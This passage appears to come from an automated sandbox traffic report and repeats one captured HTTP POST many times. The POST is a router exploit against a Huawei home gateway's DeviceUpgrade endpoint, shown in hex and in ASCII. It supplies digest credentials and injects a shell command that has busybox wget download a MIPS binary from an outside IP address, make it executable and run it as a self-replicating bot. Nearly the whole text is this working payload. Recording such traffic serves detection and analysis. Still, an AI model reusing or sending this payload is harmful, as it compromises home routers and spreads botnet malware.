55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r 